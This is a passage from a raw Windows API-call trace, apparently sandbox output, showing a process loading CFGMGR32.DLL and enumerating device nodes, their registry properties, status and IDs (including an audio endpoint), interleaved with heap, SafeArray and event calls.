out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0188.561] malloc (_Size=0x14) returned 0x196ef0d1fa0 [0188.561] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x23, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d1fa0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d1fa0, pulLength=0x67117d608) returned 0x0 [0188.561] free (_Block=0x196ef0d1fa0) [0188.561] malloc (_Size=0x48) returned 0x196ef0fb860 [0188.561] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x513e11a0, dwHighDateTime=0x1d9eb0c)) [0188.561] SetEvent (hEvent=0x248) returned 1 [0188.564] malloc (_Size=0x18) returned 0x196ef0d20e0 [0188.564] SafeArrayPutElement (psa=0x196ee7bf720, rgIndices=0x67117d6d8, pv=0x196ee79a5a8) returned 0x0 [0188.564] free (_Block=0x196ef0d20e0) [0188.564] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855ee0 [0188.564] SafeArrayGetDim (psa=0x196ee7bf720) returned 0x1 [0188.564] SafeArrayGetLBound (in: psa=0x196ee7bf720, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0188.564] SafeArrayGetUBound (in: psa=0x196ee7bf720, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0188.564] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6050 [0188.564] SafeArrayGetDim (psa=0x196ee7bf720) returned 0x1 [0188.564] SafeArrayGetUBound (in: psa=0x196ee7bf720, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0188.564] SafeArrayGetElemsize (psa=0x196ee7bf720) returned 0x8 [0188.564] SafeArrayGetElement (in: psa=0x196ee7bf720, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0188.565] memcpy (in: _Dst=0x67117d268, _Src=0x196ef225de0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0188.565] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6050) returned 1 [0188.566] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855ee0) returned 1 [0188.566] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0188.566] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0188.566] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0188.566] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0188.567] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0188.567] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0188.567] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0188.567] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0188.567] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0188.567] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0188.567] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0188.568] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0188.568] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0188.568] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0188.568] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0188.568] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0188.568] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0188.568] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0188.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0188.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0188.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0188.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0188.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0188.569] malloc (_Size=0x18) returned 0x196ef0d1ae0 [0188.569] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x23, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0188.783] malloc (_Size=0x48) returned 0x196ef0fb950 [0188.783] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5161ce67, dwHighDateTime=0x1d9eb0c)) [0188.784] SetEvent (hEvent=0x248) returned 1 [0188.784] SetEvent (hEvent=0x248) returned 1 [0188.785] free (_Block=0x196ef0fb950) [0188.785] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x23, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0188.786] malloc (_Size=0x48) returned 0x196ef0fb720 [0188.786] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5161ce67, dwHighDateTime=0x1d9eb0c)) [0188.786] SetEvent (hEvent=0x248) returned 1 [0188.787] SetEvent (hEvent=0x248) returned 1 [0188.787] free (_Block=0x196ef0fb720) [0188.787] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x23, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0188.788] malloc (_Size=0x48) returned 0x196ef0fb860 [0188.788] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5161ce67, dwHighDateTime=0x1d9eb0c)) [0188.788] SetEvent (hEvent=0x248) returned 1 [0188.789] SetEvent (hEvent=0x248) returned 1 [0188.789] free (_Block=0x196ef0fb860) [0188.790] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x23, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0188.790] malloc (_Size=0x48) returned 0x196ef0fb400 [0188.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5161ce67, dwHighDateTime=0x1d9eb0c)) [0188.790] SetEvent (hEvent=0x248) returned 1 [0188.793] SetEvent (hEvent=0x248) returned 1 [0188.794] free (_Block=0x196ef0fb400) [0188.794] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x23, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0188.796] malloc (_Size=0x48) returned 0x196ef0fb950 [0188.796] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5161ce67, dwHighDateTime=0x1d9eb0c)) [0188.796] SetEvent (hEvent=0x248) returned 1 [0188.797] SetEvent (hEvent=0x248) returned 1 [0188.797] free (_Block=0x196ef0fb950) [0188.797] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x23, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0188.799] malloc (_Size=0x48) returned 0x196ef0fb8b0 [0188.799] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x516433fe, dwHighDateTime=0x1d9eb0c)) [0188.799] SetEvent (hEvent=0x248) returned 1 [0188.801] SetEvent (hEvent=0x248) returned 1 [0188.801] free (_Block=0x196ef0fb8b0) [0188.801] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x23, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0188.802] malloc (_Size=0x48) returned 0x196ef0fb540 [0188.802] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x516433fe, dwHighDateTime=0x1d9eb0c)) [0188.802] SetEvent (hEvent=0x248) returned 1 [0188.803] SetEvent (hEvent=0x248) returned 1 [0188.804] free (_Block=0x196ef0fb540) [0188.804] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x23, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0188.804] malloc (_Size=0x48) returned 0x196ef0fb450 [0188.804] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x516433fe, dwHighDateTime=0x1d9eb0c)) [0188.804] SetEvent (hEvent=0x248) returned 1 [0188.806] SetEvent (hEvent=0x248) returned 1 [0188.807] free (_Block=0x196ef0fb450) [0188.807] CM_Get_Device_IDA (in: dnDevInst=0x24, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="SWD\\MMDEVAPI\\{0.0.1.00000000}.{A057BBB1-BD0A-493A-99E1-CA6410C7F4E2}") returned 0x0 [0188.807] malloc (_Size=0x48) returned 0x196ef0fc170 [0188.807] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x516433fe, dwHighDateTime=0x1d9eb0c)) [0188.807] SetEvent (hEvent=0x248) returned 1 [0188.808] SetEvent (hEvent=0x248) returned 1 [0188.809] free (_Block=0x196ef0fc170) [0188.809] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x24, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0188.809] malloc (_Size=0x32) returned 0x196ef0d12d0 [0188.809] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x24, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d12d0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d12d0, pulLength=0x67117d608) returned 0x0 [0188.810] free (_Block=0x196ef0d12d0) [0188.810] malloc (_Size=0x48) returned 0x196ef0fb720 [0188.810] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x516433fe, dwHighDateTime=0x1d9eb0c)) [0188.810] SetEvent (hEvent=0x248) returned 1 [0188.810] malloc (_Size=0x18) returned 0x196ef0d1d40 [0188.810] SafeArrayPutElement (psa=0x196ee7bf860, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0188.810] free (_Block=0x196ef0d1d40) [0188.810] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856de0 [0188.810] SafeArrayGetDim (psa=0x196ee7bf860) returned 0x1 [0188.810] SafeArrayGetLBound (in: psa=0x196ee7bf860, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0188.810] SafeArrayGetUBound (in: psa=0x196ee7bf860, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0188.810] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b62f0 [0188.811] SafeArrayGetDim (psa=0x196ee7bf860) returned 0x1 [0188.811] SafeArrayGetUBound (in: psa=0x196ee7bf860, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0188.811] SafeArrayGetElemsize (psa=0x196ee7bf860) returned 0x8 [0188.811] SafeArrayGetElement (in: psa=0x196ee7bf860, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0188.811] memcpy (in: _Dst=0x67117d268, _Src=0x196ef225d20, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0188.812] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b62f0) returned 1 [0188.812] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856de0) returned 1 [0188.813] SetEvent (hEvent=0x248) returned 1 [0188.813] free (_Block=0x196ef0fb720) [0188.813] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x24, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0188.992] malloc (_Size=0x62) returned 0x196ef0d0370 [0188.992] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x24, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d0370, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d0370, pulLength=0x67117d608) returned 0x0 [0188.993] free (_Block=0x196ef0d0370) [0188.993] malloc (_Size=0x48) returned 0x196ef0fb8b0 [0188.993] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x5180d0fa, dwHighDateTime=0x1d9eb0c)) [0188.993] SetEvent (hEvent=0x248) returned 1 [0188.996] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0188.996] SafeArrayPutElement (psa=0x196ee7bf0a0, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0188.997] free (_Block=0x196ef0d1ba0) [0188.997] malloc (_Size=0x18) returned 0x196ef0d2080 [0188.997] SafeArrayPutElement (psa=0x196ee7bf0a0, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0188.997] free (_Block=0x196ef0d2080) [0188.997] malloc (_Size=0x18) returned 0x196ef0d1960 [0188.997] SafeArrayPutElement (psa=0x196ee7bf0a0, rgIndices=0x67117d6d8, pv=0x196ee79a5a8) returned 0x0 [0188.997] free (_Block=0x196ef0d1960) [0188.997] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855460 [0188.997] SafeArrayGetDim (psa=0x196ee7bf0a0) returned 0x1 [0188.997] SafeArrayGetLBound (in: psa=0x196ee7bf0a0, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0188.997] SafeArrayGetUBound (in: psa=0x196ee7bf0a0, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0188.997] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6050 [0188.997] SafeArrayGetDim (psa=0x196ee7bf0a0) returned 0x1 [0188.997] SafeArrayGetUBound (in: psa=0x196ee7bf0a0, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0188.997] SafeArrayGetElemsize (psa=0x196ee7bf0a0) returned 0x8 [0188.998] SafeArrayGetElement (in: psa=0x196ee7bf0a0, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0188.998] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e550, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0188.999] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e558, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0188.999] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e560, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0189.000] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6050) returned 1 [0189.000] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855460) returned 1 [0189.001] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0189.001] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0189.002] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0189.002] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0189.002] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0189.002] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0189.002] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0189.002] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0189.003] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0189.003] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0189.003] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0189.003] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0189.003] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0189.003] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0189.004] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0189.004] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0189.004] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0189.004] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0189.004] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0189.004] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0189.005] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0189.005] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0189.005] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0189.005] malloc (_Size=0x18) returned 0x196ef0d1fe0 [0189.005] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x24, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0189.011] malloc (_Size=0x48) returned 0x196ef0fbb30 [0189.011] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x51833598, dwHighDateTime=0x1d9eb0c)) [0189.011] SetEvent (hEvent=0x248) returned 1 [0189.012] SetEvent (hEvent=0x248) returned 1 [0189.012] free (_Block=0x196ef0fbb30) [0189.013] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x24, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0189.013] malloc (_Size=0x48) returned 0x196ef0fc170 [0189.013] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x51833598, dwHighDateTime=0x1d9eb0c)) [0189.013] SetEvent (hEvent=0x248) returned 1 [0189.014] SetEvent (hEvent=0x248) returned 1 [0189.014] free (_Block=0x196ef0fc170) [0189.014] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x24, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0189.015] malloc (_Size=0x48) returned 0x196ef0fc120 [0189.015] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x51833598, dwHighDateTime=0x1d9eb0c)) [0189.015] SetEvent (hEvent=0x248) returned 1 [0189.016] SetEvent (hEvent=0x248) returned 1 [0189.017] free (_Block=0x196ef0fc120) [0189.017] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x24, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0189.017] malloc (_Size=0x48) returned 0x196ef0fbae0 [0189.017] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x518592c0, dwHighDateTime=0x1d9eb0c)) [0189.017] SetEvent (hEvent=0x248) returned 1 [0189.020] SetEvent (hEvent=0x248) returned 1 [0189.020] free (_Block=0x196ef0fbae0) [0189.020] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x24, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0189.023] malloc (_Size=0x48) returned 0x196ef0fc030 [0189.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x518592c0, dwHighDateTime=0x1d9eb0c)) [0189.024] SetEvent (hEvent=0x248) returned 1 [0189.025] SetEvent (hEvent=0x248) returned 1 [0189.026] free (_Block=0x196ef0fc030) [0189.026] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x24, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0189.026] malloc (_Size=0x48) returned 0x196ef0fb450 [0189.027] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x518592c0, dwHighDateTime=0x1d9eb0c)) [0189.027] SetEvent (hEvent=0x248) returned 1 [0189.030] SetEvent (hEvent=0x248) returned 1 [0189.031] free (_Block=0x196ef0fb450) [0189.031] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x24, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0189.032] malloc (_Size=0x48) returned 0x196ef0fbc20 [0189.032] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x518592c0, dwHighDateTime=0x1d9eb0c)) [0189.032] SetEvent (hEvent=0x248) returned 1 [0189.191] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0189.191] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0189.191] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0189.191] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0189.192] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0189.192] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0189.192] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0189.192] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0189.192] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0189.193] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0189.193] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0189.193] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0189.193] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0189.193] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0189.194] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0189.194] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0189.194] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0189.194] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0189.194] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0189.195] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0189.195] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0189.195] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0189.195] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0189.195] malloc (_Size=0x18) returned 0x196ef0d1fc0 [0189.195] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x24, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0189.196] malloc (_Size=0x48) returned 0x196ef0fc0d0 [0189.196] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x519fcc86, dwHighDateTime=0x1d9eb0c)) [0189.196] SetEvent (hEvent=0x248) returned 1 [0189.201] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0189.201] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0189.201] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 